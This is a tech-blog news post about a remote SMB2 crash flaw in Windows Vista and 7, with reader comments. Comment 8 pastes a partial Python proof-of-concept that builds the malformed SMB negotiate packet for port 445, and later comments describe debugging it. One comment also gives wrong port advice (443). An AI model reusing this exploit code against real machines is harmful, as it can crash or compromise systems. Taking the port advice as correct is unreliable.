Windows 7 And Vista Crash Via SMB Exploit


[Laurent Gaffié] has discovered an exploit that affects Windows Vista, Windows 7, and possibly Windows Server 2008 (unconfirmed). This method attacks via the NEGOTIATE PROTOCOL REQUEST which is the first SMB query sent. The vulnerability is present only on Windows versions that include Server Message Block 2.0 and have the protocol enabled. A successful attack requires no local access to the machine and results in a Blue Screen of Death.

[Laurent] has a proof of concept available with his writeup in the form of a python script (please, white hat use only). There is no patch for this vulnerability but disabling the SMB protocol will protect your system until one is available.

Update: According to the Microsoft advisory this vulnerability could lead to code execution, making it a bit worse than we thought. On the bright side, they claim that the final version of Windows 7 is not open to this attack, only Windows Vista and Windows Server 2008.

[via Full Disclosure]

[picture: Inquirer]

40 thoughts on “Windows 7 And Vista Crash Via SMB Exploit

  1. This one is pretty ugly. I wouldn’t like having my computer getting a intentional BSOD in a library, university network or on a LAN party.

    I use other OS so no problem, but if I had windows I would block port 443. This will stop your windows from file-sharing but it is still better than letting others blue-playing with it.

  2. rsvpepper, I too am a full-time Linux user, but I need to say, don’t become smug about it. Ubuntu still breaks terribly on too much hardware to be a full-time solution for everyone. It is not THE ANSWER. I mean, my wireless is unstable, my sound is sort of broken, my touchpad’s driver doesn’t allow me to turn off tap-to-click, and connecting to FTP via the option in Nautilus stalled and left a file copy open indefinitely. I am on an Eee that is a couple years old, running 9.04. It is stable enough for what I do with it (take notes) but it isn’t great. It works beautifully on my older Dell Latitude though.

    It is ready for a lot of people on the desktop, but you need to do your research before posing it as the answer to life, the universe, and everything. It will get there, but it is going to take some time.

    I agree with full disclosure. I honestly don’t see how anyone can sympathize with such an excruciatingly slow-to-react company.

  3. wow thanks for the information. I should tell about all the user of windows 7 & vista in my school. I don’t want them make me busy all day because any script kiddies run this vulnerabilities script.

    “to all win 7 & vista user please stop your file sharing and put some firewall”

  4. @Mio
    Yeah, it doesn’t, I just experienced that when trying to bring a friend’s computer offline :)

    Just because you don’t like the post it doesn’t mean others don’t like it too. Instead of going furious, you should be happy because hackaday is publishing public security disclosures.
    Maybe you would like to know about this vulnerability by “the hard way” (i.e. going BSOD) instead? Because I don’t think so.

    I also use GNU/Linux but I don’t think this is the correct way of calling people either.

    IMHO, OS wizardry and automatism is more prune to bugs and breakage (assuming people know what they do at manual configurations).
    So have you tried other GNU/Linux with other tradeoff between automatism-buggyness? Maybe you like it.

    STFU already and stop procrastinating work.

  5. @SexieWASD

    Nobody tunes Xorg.conf anymore.
    * Screen resolution is auto-detected by XrandR, or proprietary drivers, the same for multi-screen setups.
    * Most distros use the XInput/hal for auto-detecting and configuring input devices.

    You can even delete Xorg.conf, your screen will be set up correctly and the keyboard/mouse recognized.

    Golden rule of the ignorance:
    The less you know about it, the funnier the joke will be.

  6. Actually for my computer I have to tune xorg.conf everytime I reformat because it detects my video card settings completely wrong I mean it’s no big deal for me but for alot of people who don’t know it’d be a real turnoff.

    Posting from my debian machine ssh tunneled through a freebsd machine <3

  7. You know what? I think I might just abandon M$ forever… Those evil M$ bastards are just after my money. They have it so much better over at the app store. Knowledge and innovation after all, were meant to be controlled by corporations. Don’t you know that the blue screen of death and the frowning mac icon are mere fantasy. Yes, pound your machine for your own misunderstanding of how it actually works. You MUST understand that corporations need control your machine for you. You and I are far too unintelligent to understand what our machine is doing for us.

  8. With Arguments


    #When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field
    #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error

    from socket import socket
    from time import sleep
    import sys

    print “\n~> SMBv2.0 Overflow de Negociacao”

    if len(sys.argv)!=2:
    print “~> Erro – Uso: %s ” % sys.argv[0]

    host = sys.argv[1], 445
    buff = (
    “\x00\x00\x00\x90” # Begin SMB header: Session message
    “\xff\x53\x4d\x42” # Server Component: SMB
    “\x72\x00\x00\x00” # Negociate Protocol
    “\x00\x18\x53\xc8” # Operation 0x18 & sub 0xc853
    “\x00\x26″# Process ID High: –> :) normal value should be “\x00\x00”
    s = socket()

  9. All setup to test Windows Server 2008 R2 when i run the python script i get the following error:

    Traceback (most recent call last):
    File “C:\temp\”, line 25, in
    s = socket()
    NameError: name ‘socket’ is not defined


    does it require 2 arguments?

  10. C:\temp>
    Traceback (most recent call last):
    File “C:\temp\”, line 36, in
    TypeError: must be bytes or buffer, not str


    grr what a formating nightmare

  11. I don’t get it. I used the Python program (which someone also posted above), and after fixing a couple of errors (add “import socket” and change “socket()” to “socket.socket()“), it didn’t work. Wireshark confirmed that the machine was getting the packet of death (and was even attempting to respond to it), but no bluescreen occurred.

    No updates installed; no firewall. I suspect the exploit program has been intentionally crippled so script kiddies like me can’t willy-nilly crash machines. :)

  12. 99 fixes for windows to patch down, 99 fixes to patch, you take one down, patch it around, 100 fixes to patch down. 100 fixes to patch down, 100 fixes to patch, you take one down, patch it around, 101 fixes to patch down.. :D

Leave a Reply

Please be kind and respectful to help make the comments section excellent. (Comment Policy)

This site uses Akismet to reduce spam. Learn how your comment data is processed.